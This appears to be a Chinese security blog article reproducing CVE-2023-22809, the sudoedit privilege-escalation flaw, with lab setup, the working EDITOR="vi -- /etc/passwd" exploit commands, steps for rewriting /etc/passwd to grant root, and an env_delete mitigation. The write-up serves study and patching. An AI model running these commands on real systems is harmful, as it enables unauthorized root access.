CVE-2023-22809:Sudo权限提升漏洞
新闻资讯
2023-07-19 18:41
50
0
关注我们❤️,添加星标🌟,一起学安全!
作者:inSight@Timeline Sec
本文字数:815
阅读时长:2~3min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 简介
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。0x02 漏洞概述
由于Sudo中的sudoedit对处理用户提供的环境变量(如SUDO_EDITOR、VISUAL和EDITOR)中传递的额外参数存在缺陷。当用户指定的编辑器包含绕过sudoers策略的 " --" 参数时,拥有sudoedit访问权限的本地攻击者可通过将任意条目附加到要处理的文件列表中,最终在目标系统上实现权限提升。0x03 影响版本
0x04 环境搭建
复现环境系统版本为
Debian 4.6.4-1kali1
sudo版本为1.8.17p1
在实际复现中,试了 1.8 到 1.9.12p1其中多个版本的sudo,都未复现成功,如下图所示
结合以下官方修复漏洞的代码,推测系统对注入的双破折号进行了过滤
使用1.8.17p1版本复现成功。使用root权限编辑/etc/sudoers文件,添加xxxx ALL=(root) NOPASSWD: sudoedit /etc/services
这么一行,其中xxxx是当前非root权限的用户名0x05 漏洞复现
必须对系统中的至少一个文件具有有限的sudo访问权限。执行攻击命令:(如果sudoedit后面接的文件和sudoers中的不是相同的文件,系统会要求输入root密码)export EDITOR="vi -- /etc/passwd"
sudoedit /etc/services
这样我们就拥有了对/etc/passwd文件可编辑的权限。接下来把root账号的那一行配置信息改成test的,接着test账户就拥有了root权限,实现提权。0x06 修复方式
1、使用/etc/sudoers中的env_delete将环境变量添加到拒绝列表,如下所示。Defaults!SUDOEDIT env_delete+="SUDO_EDITOR VISUAL EDITOR"
Cmnd_Alias SUDOEDIT = sudoedit /etc/services
root ALL=(root) NOPASSWD: SUDOEDIT
参考链接
https://www.vicarius.io/blog/cve-2023-22809-sudoedit-bypass-analysis
文章引用微信公众号"Timeline Sec",如有侵权,请联系管理员删除!